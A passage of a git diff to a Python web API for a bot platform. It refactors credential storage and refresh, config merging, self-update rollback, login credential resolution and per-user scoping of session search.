_json.dumps([creds], indent=2)) - log.warning("Failed to merge credentials (backup at %s), wrote fresh: %s", bak, e) + except OSError: + return web.json_response( + {"error": "failed to preserve existing credentials"}, status=500, + ) + raw = [] + if save_index is not None: + creds = mark_authorized_account(creds) + try: + canonical_index = CodexAuthPool.canonical_index(raw, save_index) + except ValueError: + # Preserve legacy append behavior for a missing slot. + if save_index < 0: + return web.json_response({"error": "invalid account index"}, status=400) + canonical_index = None + raw = list(raw) if isinstance(raw, list) else [raw] + if canonical_index is None: + raw.append(creds) + else: + if "label" in raw[canonical_index]: + creds["label"] = raw[canonical_index]["label"] + raw[canonical_index] = creds + else: + raw = merge_authorized_account(raw, creds) + try: + _atomic_write_secure(path, _json.dumps(raw, indent=2)) + except OSError: + # A persistence error must never trigger a fresh-only overwrite. + return web.json_response({"error": "failed to save credentials"}, status=500) await bot.llm_gateway.reload_codex() @@ -187,22 +200,10 @@ async def codex_refresh_account(request: web.Request) -> web.Response: auth = pool._accounts[index] try: - import json as _json - from pathlib import Path as _Path - - from ...llm.codex_auth import _atomic_write_secure - + stale_token = auth._load().get("access_token") + if not await pool.force_refresh(index, stale_token): + return web.json_response({"error": "credential refresh failed"}, status=500) creds = auth._load() - await auth._refresh(creds) - creds = auth._load() - - async with _codex_creds_lock: - path = _Path(bot.config.openai_codex.credentials_path) - if path.exists(): - raw = _json.loads(path.read_text()) - if isinstance(raw, list) and index < len(raw): - raw[index] = creds - _atomic_write_secure(path, _json.dumps(raw, indent=2)) return web.json_response({ "status": "refreshed", @@ -240,7 +241,7 @@ async def codex_set_label(request: web.Request) -> web.Response: import json as _json from pathlib import Path as _Path - from ...llm.codex_auth import _atomic_write_secure + from ...llm.codex_auth import CodexAuthPool, _atomic_write_secure try: index = int(request.match_info["index"]) @@ -266,9 +267,11 @@ async def codex_set_label(request: web.Request) -> web.Response: return web.json_response({"error": "failed to read credentials"}, status=500) if isinstance(raw, list): - if index < 0 or index >= len(raw): - return web.json_response({"error": f"index {index} out of range"}, status=400) - raw[index]["label"] = label + try: + canonical_index = CodexAuthPool.canonical_index(raw, index) + except ValueError: + return web.json_response({"error": "invalid index"}, status=400) + raw[canonical_index]["label"] = label elif isinstance(raw, dict) and index == 0: raw["label"] = label else: @@ -276,16 +279,15 @@ async def codex_set_label(request: web.Request) -> web.Response: _atomic_write_secure(path, _json.dumps(raw, indent=2)) - # Also update the in-memory shadow file so status reflects immediately + # A metadata-only update must not retire an in-flight token rotation. pool = getattr(bot.llm_gateway, "codex_client", None) pool = getattr(pool, "auth", None) if pool else None - if pool and index < len(pool._accounts): + if pool and 0 <= index < len(pool._accounts): + auth = pool._accounts[index] try: - creds = pool._accounts[index]._load() - creds["label"] = label - pool._accounts[index]._save(creds) + auth._save({**auth._load(), "label": label}) except Exception: - pass + return web.json_response({"error": "failed to update account metadata"}, status=500) return web.json_response({"status": "updated", "label": label}) @@ -294,7 +296,7 @@ async def codex_delete_account(request: web.Request) -> web.Response: import json as _json from pathlib import Path as _Path - from ...llm.codex_auth import _atomic_write_secure + from ...llm.codex_auth import CodexAuthPool, _atomic_write_secure try: index = int(request.match_info["index"]) @@ -312,11 +314,11 @@ async def codex_delete_account(request: web.Request) -> web.Response: return web.json_response({"error": "failed to read credentials"}, status=500) if isinstance(raw, list): - if index < 0 or index >= len(raw): - return web.json_response( - {"error": f"index {index} out of range (0-{len(raw)-1})"}, status=400 - ) - removed = raw.pop(index) + try: + canonical_index = CodexAuthPool.canonical_index(raw, index) + except ValueError: + return web.json_response({"error": "invalid index"}, status=400) + removed = raw.pop(canonical_index) _atomic_write_secure(path, _json.dumps(raw, indent=2)) email = removed.get("email", "unknown") elif isinstance(raw, dict) and index == 0: diff --git a/src/web/api/computer.py b/src/web/api/computer.py index ec387a1b4..db9f68d7b 100644 --- a/src/web/api/computer.py +++ b/src/web/api/computer.py @@ -312,7 +312,8 @@ def status_json(value, actor, *, accessibility=None): recovery = value.get("recovery") if isinstance(recovery, dict): statuses = {"operator_reconciliation_required", "operator_cleanup_required", "unknown", - "absence_verified", "operator_acknowledged_unverified"} + "absence_verified", "operator_acknowledged_unverified", + "fresh_target_required", "operator_release_required", "native_reconciled"} reasons = {"controller_lost", "legacy_runtime_identity_missing", "host_rebooted", "launch_identity_incomplete", "owned_process_remaining", "owned_process_group_remaining", "process_inspection_unavailable", @@ -320,7 +321,8 @@ def status_json(value, actor, *, accessibility=None): "owned_input_release_unproven", "owned_runtime_gone", "inspection_unavailable", "inspection_timeout", "operator_verified_external_cleanup", "recorded_processes_gone", - "persistent_input_state_unproven", "operator_reconciliation_unsupported"} + "persistent_input_state_unproven", "operator_reconciliation_unsupported", + "native_continuity_lost", "unknown_release"} result["recovery"] = { "status": (recovery.get("status") if recovery.get("status") in statuses else "unknown"), @@ -328,6 +330,10 @@ def status_json(value, actor, *, accessibility=None): if recovery.get("reason") in reasons else "unknown"), "complete": recovery.get("complete") is True, } + for key in ("released", "resources_retired", "runtime_qualified", "unknown_release", + "receiver_release_verified", "continuation_cancelled"): + if type(recovery.get(key)) is bool: + result["recovery"][key] = recovery[key] # Local cleanup and receiver delivery are different facts. Preserve # the historical result while exposing whether recovery still blocks. if recovery.get("local_recovery_status") == "locally_released": @@ -336,6 +342,23 @@ def status_json(value, actor, *, accessibility=None): "receiver_release_verified"): if type(recovery.get(key)) is bool: result["recovery"][key] = recovery[key] + reconciliation = value.get("native_reconciliation") + if isinstance(reconciliation, dict): + public_reconciliation = {} + for key in ("phase", "reason"): + if reconciliation.get(key) in {"unknown_release", "native_continuity_lost"}: + public_reconciliation[key] = reconciliation[key] + for key in ("required", "authorizes_input", "replay_allowed", + "receiver_release_verified"): + if type(reconciliation.get(key)) is bool: + public_reconciliation[key] = reconciliation[key] + next_action = reconciliation.get("next_action") + if next_action in { + "inventory_then_start_with_recovery_session_id_and_fresh_target", + "operator_reconcile_then_fresh_target_and_new_session"}: + public_reconciliation["next_action"] = next_action + if public_reconciliation: + result["native_reconciliation"] = public_reconciliation if accessibility is not None: result["accessibility"] = accessibility owned_recovery = value.get("owned_input_recovery") diff --git a/src/web/api/config_admin.py b/src/web/api/config_admin.py index 624efa5c4..1bb254cb7 100644 --- a/src/web/api/config_admin.py +++ b/src/web/api/config_admin.py @@ -60,9 +60,8 @@ def _listener_admin_current(request: web.Request, bot) -> bool: resolve them by user_id or infer a default credential from public labels. This sensitive action requires explicit reauthentication, including in UI. """ - import hmac - from ...health.server import _usable_web_credential + from ..authentication import resolve_credential if getattr(request, "_session_managed", False): return False @@ -72,21 +71,7 @@ def _listener_admin_current(request: web.Request, bot) -> bool: return False manager = getattr(bot, "api_token_manager", None) current = bot.config.web - if _usable_web_credential(current.api_token) and hmac.compare_digest( - current.api_token, - bearer, - ): - return True - identity = manager.resolve(bearer) if manager else None - if identity is None: - identity = next( - ( - entry - for entry in current.api_tokens - if _usable_web_credential(entry.token) and hmac.compare_digest(entry.token, bearer) - ), - None, - ) + identity, _ = resolve_credential(current, manager, bearer) return identity is not None and identity.tier == "admin" @@ -836,7 +821,23 @@ async def update_config(request: web.Request) -> web.Response: # Deep merge updates into current config current = bot.config.model_dump() - _deep_merge(current, updates) + from copy import deepcopy + + from ...config.persistence import remove_submitted_mapping_entries + + remove_submitted_mapping_entries(current, updates, Config) + merge_updates = deepcopy(updates) + + def strip_tombstones(node): + for key in list(node): + value = node[key] + if value == {"$delete": True}: + del node[key] + elif isinstance(value, dict): + strip_tombstones(value) + + strip_tombstones(merge_updates) + _deep_merge(current, merge_updates) # Validate by reconstructing the config model try: diff --git a/src/web/api/hosts.py b/src/web/api/hosts.py index ea3191451..c9369293a 100644 --- a/src/web/api/hosts.py +++ b/src/web/api/hosts.py @@ -67,8 +67,11 @@ async def _drain_host_mutation(operation, *, commit_started: asyncio.Event): def register_hosts(routes: web.RouteTableDef, bot) -> None: require_admin = admin_gate(bot) registry = getattr(bot, "host_registry", None) - enrollments = HostEnrollmentManager(registry) if registry is not None else None management_lock = asyncio.Lock() + enrollments = ( + HostEnrollmentManager(registry, publication_lock=management_lock) + if registry is not None else None + ) def denied(request: web.Request) -> web.Response | None: rejection = require_admin(request) @@ -264,13 +267,24 @@ async def set_host_settings(request: web.Request) -> web.Response: async def operation(): async with management_lock: async with config_transaction(): + # Omitted fields are read at publication, not when this + # request queued behind another acknowledged save. + effective_default = ( + body["default_host"].strip() if "default_host" in body + else bot.config.tools.default_host + ) + effective_tofu = body.get("allow_host_tofu", bot.config.tools.allow_host_tofu) + if effective_default and effective_default not in bot.config.tools.hosts: + return web.json_response( + {"error": "default_host must name a configured host"}, status=400 + ) changes: list = [] - if default_host != bot.config.tools.default_host: - changes.append((("tools", "default_host"), default_host)) - if allow_tofu != bot.config.tools.allow_host_tofu: - changes.append((("tools", "allow_host_tofu"), allow_tofu)) + if effective_default != bot.config.tools.default_host: + changes.append((("tools", "default_host"), effective_default)) + if effective_tofu != bot.config.tools.allow_host_tofu: + changes.append((("tools", "allow_host_tofu"), effective_tofu)) staged = bot.host_registry.stage( - bot.config.tools.hosts, default_host=default_host + bot.config.tools.hosts, default_host=effective_default ) commit_started.set() persist_exc, cancelled = await config_persistence.persist_config_paths_locked( @@ -284,21 +298,21 @@ async def operation(): ) old_default = bot.config.tools.default_host old_tofu = bot.config.tools.allow_host_tofu - bot.config.tools.default_host = default_host - bot.config.tools.allow_host_tofu = allow_tofu + bot.config.tools.default_host = effective_default + bot.config.tools.allow_host_tofu = effective_tofu bot.host_registry.publish_staged(staged) diff_summary = [".".join(change[0]) for change in changes] request["_config_diff"] = "\n".join(diff_summary) await audit( request, "settings", - default_host, + effective_default, { "result": "saved", "old_default_host": old_default, - "new_default_host": default_host, + "new_default_host": effective_default, "old_allow_host_tofu": old_tofu, - "new_allow_host_tofu": allow_tofu, + "new_allow_host_tofu": effective_tofu, "registry_generation": bot.host_registry.generation, "config_diff": diff_summary, }, diff --git a/src/web/api/integrations.py b/src/web/api/integrations.py index aa924d594..dfe2a839f 100644 --- a/src/web/api/integrations.py +++ b/src/web/api/integrations.py @@ -14,7 +14,6 @@ from ...odin_log import get_logger from ..api_common import ( - _safe_int_param, _validate_string, ) @@ -505,92 +504,6 @@ async def mutate(): return response -def register_grafana_alerts(routes: web.RouteTableDef, bot) -> None: - """Grafana alerts (verbatim from the monolith).""" - # ------------------------------------------------------------------ - # Grafana alerts - # ------------------------------------------------------------------ - - @routes.get("/api/grafana-alerts/status") - async def grafana_alerts_status(_request: web.Request) -> web.Response: - hs = getattr(bot, "health_server", None) - handler = getattr(hs, "grafana_handler", None) if hs else None - if handler is None: - return web.json_response({"enabled": False}) - return web.json_response({"enabled": True, **handler.get_status()}) - - @routes.get("/api/grafana-alerts/history") - async def grafana_alerts_history(request: web.Request) -> web.Response: - hs = getattr(bot, "health_server", None) - handler = getattr(hs, "grafana_handler", None) if hs else None - if handler is None: - return web.json_response({"error": "Grafana alert handler not available"}, status=503) - limit = _safe_int_param(request, "limit", 50, hi=200) - history = handler.alert_history[-limit:] - return web.json_response({"alerts": history, "total": len(handler.alert_history)}) - - @routes.get("/api/grafana-alerts/rules") - async def grafana_alerts_rules(_request: web.Request) -> web.Response: - hs = getattr(bot, "health_server", None) - handler = getattr(hs, "grafana_handler", None) if hs else None - if handler is None: - return web.json_response({"error": "Grafana alert handler not available"}, status=503) - return web.json_response({"rules": handler.get_rules_list()}) - - @routes.post("/api/grafana-alerts/rules") - async def grafana_alerts_add_rule(request: web.Request) -> web.Response: - hs = getattr(bot, "health_server", None) - handler = getattr(hs, "grafana_handler", None) if hs else None - if handler is None: - return web.json_response({"error": "Grafana alert handler not available"}, status=503) - try: - data = await request.json() - except Exception: - return web.json_response({"error": "invalid JSON"}, status=400) - rule_id = data.get("id", "") - name_pattern = data.get("name_pattern", "") - if not rule_id or not name_pattern: - return web.json_response({"error": "id and name_pattern are required"}, status=400) - try: - from ...health.grafana_alerts import RemediationRule - - rule = RemediationRule( - id=rule_id, - name_pattern=name_pattern, - label_matchers=data.get("label_matchers", {}), - severity_filter=data.get("severity_filter", []), - remediation_goal=data.get("remediation_goal", ""), - mode=data.get("mode", "notify"), - interval_seconds=data.get("interval_seconds", 30), - max_iterations=data.get("max_iterations", 10), - cooldown_seconds=data.get("cooldown_seconds", 300), - enabled=data.get("enabled", True), - ) - handler.add_rule(rule) - return web.json_response({"ok": True, "rule": rule_id}, status=201) - except ValueError as exc: - return web.json_response({"error": str(exc)}, status=400) - - @routes.delete("/api/grafana-alerts/rules/{rule_id}") - async def grafana_alerts_delete_rule(request: web.Request) -> web.Response: - hs = getattr(bot, "health_server", None) - handler = getattr(hs, "grafana_handler", None) if hs else None - if handler is None: - return web.json_response({"error": "Grafana alert handler not available"}, status=503) - rule_id = request.match_info["rule_id"] - if handler.remove_rule(rule_id): - return web.json_response({"ok": True}) - return web.json_response({"error": f"Rule '{rule_id}' not found"}, status=404) - - @routes.get("/api/grafana-alerts/remediations") - async def grafana_alerts_remediations(_request: web.Request) -> web.Response: - hs = getattr(bot, "health_server", None) - handler = getattr(hs, "grafana_handler", None) if hs else None - if handler is None: - return web.json_response({"error": "Grafana alert handler not available"}, status=503) - return web.json_response({"remediations": handler.get_remediations_list()}) - - def register_outbound_webhooks(routes: web.RouteTableDef, bot) -> None: """Outbound webhook CRUD. Persist before changing the running dispatcher.""" from copy import deepcopy diff --git a/src/web/api/llm_admin.py b/src/web/api/llm_admin.py index 79eea05bf..e2be5fa1c 100644 --- a/src/web/api/llm_admin.py +++ b/src/web/api/llm_admin.py @@ -28,7 +28,6 @@ AGENT_SETTING_AUTO, CODEX_REASONING_EFFORTS, allowed_efforts_for_model, - effort_incompatibility_error, retired_codex_model_error, ) from ...llm.window_observer import WindowObserverMutationError @@ -650,6 +649,12 @@ async def llm_switch(request: web.Request) -> web.Response: # its own lock (settled before the lock releases) and restores the # prior provider on persist failure — no interleaving window. async with config_transaction(): + try: + values = bot.config.model_dump() + values["llm_provider"]["model"] = model_ref + type(bot.config).model_validate(values) + except ValueError as exc: + return web.json_response({"error": str(exc)}, status=400) result = await bot.llm_gateway.switch_provider( provider, persist=lambda: patch_config_paths( @@ -683,6 +688,12 @@ async def llm_main_model(request: web.Request) -> web.Response: except (ValueError, TypeError, AttributeError) as exc: return web.json_response({"error": str(exc)}, status=400) async with config_transaction(): + try: + values = bot.config.model_dump() + values["llm_provider"]["model"] = model_ref + type(bot.config).model_validate(values) + except ValueError as exc: + return web.json_response({"error": str(exc)}, status=400) result = await bot.llm_gateway.switch_provider( provider, persist=lambda: patch_config_paths( @@ -901,6 +912,8 @@ def register_provider_config(routes: web.RouteTableDef, bot) -> None: async def llm_codex_config(request: web.Request) -> web.Response: try: body = await request.json() + if "enabled" in body: + body["enabled"] = TypeAdapter(bool).validate_python(body["enabled"]) except Exception: return web.json_response({"error": "invalid JSON body"}, status=400) @@ -960,16 +973,9 @@ async def llm_codex_config(request: web.Request) -> web.Response: desired_model = ( str(body["model"]) if ("model" in body and body["model"]) else cfg.model ) - desired_effort = str(effort) if effort is not None else cfg.reasoning_effort - pair_err = effort_incompatibility_error(desired_model, desired_effort) - if pair_err: - return web.json_response( - { - "error": pair_err, - "allowed": sorted(allowed_efforts_for_model(desired_model)), - }, - status=400, - ) + retired = retired_codex_model_error(desired_model) + if retired: + return web.json_response({"error": retired}, status=400) desired_agent_model = agent_model if agent_model_present else cfg.agent_model retired = retired_codex_model_error(desired_agent_model) if retired: @@ -979,21 +985,6 @@ async def llm_codex_config(request: web.Request) -> web.Response: if agent_effort_present else cfg.agent_reasoning_effort ) - # "auto" on either agent axis defers to the spawn-time and - # request-construction boundaries; concrete axes resolve here - # (None inherits the main setting being saved). - if AGENT_SETTING_AUTO not in (desired_agent_model, desired_agent_effort): - eff_model = desired_agent_model if desired_agent_model else desired_model - eff_effort = desired_agent_effort if desired_agent_effort else desired_effort - pair_err = effort_incompatibility_error(eff_model, eff_effort) - if pair_err: - return web.json_response( - { - "error": f"agent settings: {pair_err}", - "allowed": sorted(allowed_efforts_for_model(eff_model)), - }, - status=400, - ) desired = { "enabled": bool(body["enabled"]) if "enabled" in body else cfg.enabled, "model": str(body["model"]) if body.get("model") else cfg.model, @@ -1007,6 +998,22 @@ async def llm_codex_config(request: web.Request) -> web.Response: ), "agent_model": agent_model if agent_model_present else cfg.agent_model, } + effective_values = bot.config.model_dump() + effective_values["openai_codex"].update(desired) + try: + type(bot.config).model_validate(effective_values) + except ValueError as exc: + from ...tools.agent_tool_policy import configured_agent_model + main = bot.config.llm_provider.model + resolved = configured_agent_model(bot.config) + pair_model = resolved if desired_agent_effort not in (None, "auto") else main + return web.json_response( + { + "error": str(exc), + "allowed": sorted(allowed_efforts_for_model(pair_model)), + }, + status=400, + ) advanced = _parse_codex_advanced(body, cfg) if isinstance(advanced, web.Response): return advanced @@ -1104,6 +1111,8 @@ async def llm_codex_config(request: web.Request) -> web.Response: async def llm_auxiliary_config(request: web.Request) -> web.Response: try: body = await request.json() + if "enabled" in body: + body["enabled"] = TypeAdapter(bool).validate_python(body["enabled"]) except Exception: return web.json_response({"error": "invalid JSON body"}, status=400) @@ -1154,6 +1163,8 @@ async def llm_auxiliary_config(request: web.Request) -> web.Response: async def llm_ollama_config(request: web.Request) -> web.Response: try: body = await request.json() + if "enabled" in body: + body["enabled"] = TypeAdapter(bool).validate_python(body["enabled"]) except Exception: return web.json_response({"error": "invalid JSON body"}, status=400) @@ -1245,6 +1256,8 @@ async def llm_ollama_config(request: web.Request) -> web.Response: async def openai_compatible_config(request: web.Request) -> web.Response: try: body = await request.json() + if "enabled" in body: + body["enabled"] = TypeAdapter(bool).validate_python(body["enabled"]) except Exception: return web.json_response({"error": "invalid JSON body"}, status=400) @@ -1951,6 +1964,40 @@ async def openrouter_select_model(request: web.Request) -> web.Response: except (ValueError, ValidationError) as exc: return web.json_response({"error": str(exc)}, status=400) async with config_transaction(): + # Remote catalogue awaits above may overlap a config rebind or a + # policy save. Rebuild against the current owner before publication. + cfg = _openrouter_config() + if cfg is None: + return web.json_response({"error": "OpenRouter configuration changed"}, status=409) + routing_values = cfg.openrouter.model_dump() + pins = dict(cfg.openrouter.model_pins) + if pin: + pins[model_id] = pin + else: + pins.pop(model_id, None) + routing_values["model_pins"] = pins + route_policy = type(cfg.openrouter).model_validate(routing_values) + profile = conservative_profile( + rows, route_policy, model=model_id, require_reasoning=True + ) + if profile is None: + return web.json_response( + {"error": "no tool-capable endpoint can provide a safe model profile"}, + status=400, + ) + profile_value = OpenAICompatibleModelProfile( + total_window_tokens=profile["total_window_tokens"], + max_output_tokens=profile["max_output_tokens"], + supports_thinking_mode=False, + supports_reasoning=bool(catalogue_model.get("supports_reasoning")), + supported_efforts=catalogue_model.get("supported_efforts") or [], + ) + derived = dict(cfg.openrouter.catalogue_profiles) + derived[model_id] = profile_value + routing_values["catalogue_profiles"] = { + name: value.model_dump() for name, value in derived.items() + } + candidate = type(cfg.openrouter).model_validate(routing_values) error, cancelled = await persist_config_paths_locked( [(("openai_compatible", "openrouter"), candidate.model_dump())] ) diff --git a/src/web/api/observability.py b/src/web/api/observability.py index 1fba12904..7630eea29 100644 --- a/src/web/api/observability.py +++ b/src/web/api/observability.py @@ -146,7 +146,9 @@ def _builtin_inventory() -> dict: hidden = catalog.backend_hidden_names(config) if catalog else set() globally_on = bool(config.tools.enabled) tools = [] - for tool in get_tool_definitions(): + from ...tools.defs.computer import computer_definitions + + for tool in [*get_tool_definitions(), *computer_definitions()]: name = tool["name"] enabled = name not in disabled if not enabled: @@ -278,9 +280,17 @@ async def get_observability_context(request: web.Request) -> web.Response: async def get_observability_failures(request: web.Request) -> web.Response: from ...observability.aggregates import failure_aggregates audit_path = getattr(bot.config.tools, "audit_log_path", "./data/audit.jsonl") - data = await asyncio.to_thread( - failure_aggregates, audit_path, _obs_window(request), - ) + audit = getattr(bot, "audit", None) + snapshot = await audit.open_read_snapshot() if audit is not None else None + try: + from ...async_utils import to_thread_settled + data = await to_thread_settled( + failure_aggregates, audit_path, _obs_window(request), snapshot=snapshot, + ) + finally: + if snapshot is not None: + for handle, _stat in snapshot: + handle.close() return web.json_response(data) @routes.get("/api/usage/totals") diff --git a/src/web/api/security.py b/src/web/api/security.py index c2dcac3cd..75dd41cbb 100644 --- a/src/web/api/security.py +++ b/src/web/api/security.py @@ -640,7 +640,11 @@ async def auth_login(request: web.Request) -> web.Response: except Exception: return web.json_response({"error": "invalid JSON"}, status=400) - token = (data.get("token") or "").strip() + if not isinstance(data, dict) or not isinstance(data.get("token"), str): + return web.json_response( + {"error": "token must be a string in a JSON object"}, status=400 + ) + token = data["token"] if not token: return web.json_response({"error": "token is required"}, status=400) @@ -689,16 +693,8 @@ async def auth_login(request: web.Request) -> web.Response: # Preserve dynamic-before-static collision behavior during healthy # operation. Recovery disables only the broken dynamic source. - identity = snapshot.resolve(token) if snapshot and not store_requires_recovery else None - identity_source = "dynamic" if identity is not None else "" - if identity is None: - identity = bot.config.web.resolve_api_identity(token) - if identity is not None: - identity_source = ( - "static" - if any(identity is configured for configured in bot.config.web.api_tokens) - else "legacy" - ) + from ..authentication import resolve_credential + identity, identity_source = resolve_credential(bot.config.web, snapshot, token) if store_requires_recovery and identity is None: return web.json_response( {"error": "API credential store requires recovery"}, status=403 @@ -707,7 +703,10 @@ async def auth_login(request: web.Request) -> web.Response: sm = request.app.get("session_manager") if not sm: return web.json_response({"error": "no session manager"}, status=500) - sid, timeout = sm.create(identity=identity) + bound_identity = ( + identity if identity_source == "dynamic" else identity.model_copy(deep=True) + ) + sid, timeout = sm.create(identity=bound_identity) set_source = getattr(sm, "set_auth_source", None) if callable(set_source): set_source(sid, identity_source) @@ -718,34 +717,7 @@ async def auth_login(request: web.Request) -> web.Response: } ) - # Fall back to legacy single token - import hmac as _hmac - - if api_token and not _hmac.compare_digest(token, api_token): - return web.json_response({"error": "invalid token"}, status=401) - if not api_token: - return web.json_response({"error": "invalid token"}, status=401) - - sm = request.app.get("session_manager") - if not sm: - return web.json_response({"error": "no session manager"}, status=500) - - from ...config.schema import ApiTokenIdentity - - legacy_identity = ApiTokenIdentity( - token="", - user_id="api-admin", - username="Admin", - tier="admin", - label="default", - ) - sid, timeout = sm.create(identity=legacy_identity) - return web.json_response( - { - "session_id": sid, - "timeout_seconds": timeout, - } - ) + return web.json_response({"error": "invalid token"}, status=401) @routes.post("/api/auth/logout") async def auth_logout(request: web.Request) -> web.Response: diff --git a/src/web/api/self_update.py b/src/web/api/self_update.py index 15a8db4af..7d36c07d6 100644 --- a/src/web/api/self_update.py +++ b/src/web/api/self_update.py @@ -127,10 +127,38 @@ async def apply_update(request: web.Request) -> web.Response: if not _re.fullmatch(r"v?\d+\.\d+\.\d+", target): return web.json_response({"error": f"Invalid version format: {target}"}, status=400) + _preserve = {"config.yml", ".env"} + _backups: dict[str, bytes] = {} + prev_ref = None + mutation_started = False + + def _rollback(reason: str) -> web.Response: + errors = [] + try: + if mutation_started and prev_ref: + for cmd in ( + ["git", "-C", base, "checkout", "master"], + ["git", "-C", base, "reset", "--hard", prev_ref], + ): + try: + result = subprocess.run(cmd, capture_output=True, timeout=10) + if result.returncode != 0: + errors.append("code rollback command failed") + except Exception: + errors.append("code rollback command raised") + finally: + # A failed rollback must never skip preserved operator bytes. + for fname, contents in _backups.items(): + try: + Path(base, fname).write_bytes(contents) + except OSError: + errors.append(f"restoring {fname} failed") + if errors: + reason += "; " + "; ".join(errors) + return web.json_response({"error": reason}, status=500) + try: # Backup user-modified config files before updating - _preserve = {"config.yml", ".env"} - _backups: dict[str, bytes] = {} for fname in _preserve: fpath = os.path.join(base, fname) if os.path.exists(fpath): @@ -170,19 +198,30 @@ async def apply_update(request: web.Request) -> web.Response: ), }, status=409) + # Capture rollback authority before the first tracked-file mutation. + r = subprocess.run( + ["git", "-C", base, "rev-parse", "HEAD"], + capture_output=True, text=True, timeout=5, + ) + if r.returncode != 0 or not r.stdout.strip(): + return web.json_response( + {"error": "Cannot capture current ref for rollback"}, status=500 + ) + prev_ref = r.stdout.strip() + mutation_started = True # Reset only the preserved config files for clean pull for fname in _preserve: - subprocess.run( + result = subprocess.run( ["git", "-C", base, "checkout", "--", fname], capture_output=True, timeout=10, ) - - # Record current ref for potential rollback - r = subprocess.run( - ["git", "-C", base, "rev-parse", "HEAD"], - capture_output=True, text=True, timeout=5, - ) - prev_ref = r.stdout.strip() if r.returncode == 0 else None + # An untracked preserved file needs no reset. Other failures + # are handled by rollback rather than proceeding half-mutated. + error_text = result.stderr or "" + if isinstance(error_text, bytes): + error_text = error_text.decode(errors="replace") + if result.returncode != 0 and "pathspec" not in error_text: + return _rollback("preserved config checkout failed") # Fetch and update master to the release tag's commit steps = [ @@ -190,21 +229,6 @@ async def apply_update(request: web.Request) -> web.Response: (["git", "-C", base, "checkout", "master"], "checkout master"), (["git", "-C", base, "merge", "--ff-only", target], "fast-forward to release tag"), ] - def _rollback(reason: str) -> web.Response: - if prev_ref: - subprocess.run( - ["git", "-C", base, "checkout", "master"], capture_output=True, timeout=10 - ) - subprocess.run( - ["git", "-C", base, "reset", "--hard", prev_ref], - capture_output=True, - timeout=10, - ) - # Restore config backups even on failure - for fname, data in _backups.items(): - open(os.path.join(base, fname), "wb").write(data) - return web.json_response({"error": reason}, status=500) - for cmd, label in steps: r = subprocess.run(cmd, capture_output=True, text=True, timeout=30) if r.returncode != 0: @@ -249,7 +273,7 @@ def _rollback(reason: str) -> web.Response: "message": f"Updated master to {target}. Restarting in place in 2 seconds...", }) except Exception as e: - return web.json_response({"error": str(e)}, status=500) + return _rollback(str(e)) @routes.post("/api/loops/stop-all") async def stop_all_loops(_request: web.Request) -> web.Response: diff --git a/src/web/api/sessions_chat.py b/src/web/api/sessions_chat.py index 4ecfd8822..6c140d08e 100644 --- a/src/web/api/sessions_chat.py +++ b/src/web/api/sessions_chat.py @@ -15,6 +15,7 @@ from ...odin_log import get_logger from ...search.errors import InvalidSearchQuery +from ...sessions.manager import SessionManager from ..api_common import ( _SESSION_ID_RE, _safe_filename, @@ -145,7 +146,7 @@ async def execute(request: web.Request) -> web.Response: {"error": f"prompt exceeds {MAX_CHAT_CONTENT_LEN} chars"}, status=400 ) - channel_id = f"api-{uuid.uuid4().hex[:12]}" + channel_id = f"api-{uuid.uuid4().hex}" # Resolve identity from middleware or fallback identity = getattr(request, "_api_identity", None) @@ -167,17 +168,16 @@ async def execute(request: web.Request) -> web.Response: ) token_default_host = getattr(identity, "default_host", "") if identity else "" - result = await _pkg_process_web_chat( - bot, content, channel_id, - user_id=user_id, username=username, - allowed_tools=token_tools, tier=tier, - token_allowed_hosts=token_hosts, - token_default_host=token_default_host, - persist_channel_lock=False, # ephemeral per-request channel — no lock to cache or leak - _request=request, - ) - - bot.sessions.reset(channel_id) + with bot.sessions.ephemeral(channel_id): + result = await _pkg_process_web_chat( + bot, content, channel_id, + user_id=user_id, username=username, + allowed_tools=token_tools, tier=tier, + token_allowed_hosts=token_hosts, + token_default_host=token_default_host, + persist_channel_lock=False, # no lock to cache or leak + _request=request, + ) status = 200 if not result["is_error"] else 502 resp = { @@ -226,7 +226,7 @@ async def list_sessions(request: web.Request) -> web.Response: "estimated_tokens": session.estimated_tokens, "last_active": session.last_active, "created_at": session.created_at, - "has_summary": bool(session.summary), + "has_summary": session.has_summary, "preview": preview, "source": source, "last_user_id": session.last_user_id, @@ -260,8 +260,10 @@ async def search_sessions(request: web.Request) -> web.Response: limit = _safe_int_param(request, "limit", 20, hi=50) channel_id = request.query.get("channel_id") or None if not is_admin: - # is_admin is only False when identity was truthy (see above). - channel_id = identity.user_id # type: ignore[union-attr] + if channel_id: + denied = _check_session_access(request, channel_id) + if denied is not None: + return denied user_id = request.query.get("user_id") or None after: float | None = None before: float | None = None @@ -276,10 +278,26 @@ async def search_sessions(request: web.Request) -> web.Response: except ValueError: pass try: - results = await bot.sessions.search_history( - query, limit=limit, channel_id=channel_id, - user_id=user_id, after=after, before=before, - ) + if not is_admin and not channel_id: + # Unscoped searches cover default and currently owned scoped + # conversations. Explicit scopes also reach archived channels. + own_id = identity.user_id # type: ignore[union-attr] + channels = {own_id} + channels.update(cid for cid, _ in bot.sessions.items_snapshot() + if cid.startswith(f"web:{own_id}:session:")) + results = [] + for cid in sorted(channels): + results.extend(await bot.sessions.search_history( + query, limit=limit, channel_id=cid, + user_id=user_id, after=after, before=before, + )) + results.sort(key=lambda r: r.get("timestamp", 0), reverse=True) + results = results[:limit] + else: + results = await bot.sessions.search_history( + query, limit=limit, channel_id=channel_id, + user_id=user_id, after=after, before=before, + ) except InvalidSearchQuery: return web.json_response({"error": "invalid query"}, status=400) except Exception: @@ -320,7 +338,7 @@ async def get_session(request: web.Request) -> web.Response: return web.json_response({ "channel_id": cid, "messages": messages, - "summary": session.summary, + "summary": SessionManager._render_context_summary(session), "created_at": session.created_at, "last_active": session.last_active, "estimated_tokens": session.estimated_tokens, @@ -443,7 +461,13 @@ async def get_trajectory_file(request: web.Request) -> web.Response: if not safe_path.is_relative_to(saver.directory.resolve()): return web.json_response({"error": "invalid filename"}, status=400) limit = _safe_int_param(request, "limit", 100, hi=500) - entries = await saver.read_file(filename, limit=limit) + filters: dict = { + key: request.query[key] for key in ("channel_id", "user_id", "tool_name") + if request.query.get(key) + } + if request.query.get("errors_only", "").lower() in ("1", "true"): + filters["errors_only"] = True + entries = await saver.read_file(filename, limit=limit, **filters) return web.json_response({"entries": entries, "count": len(entries)}) @routes.get("/api/trajectories/message/{message_id}") diff --git a/src/web/authentication.py b/src/web/authentication.py new file mode 100644 index 000000000..3af2ee928 --- /dev/null +++ b/src/web/authentication.py @@ -0,0 +1,49 @@ +"""Shared HTTP, login and WebSocket credential admission and 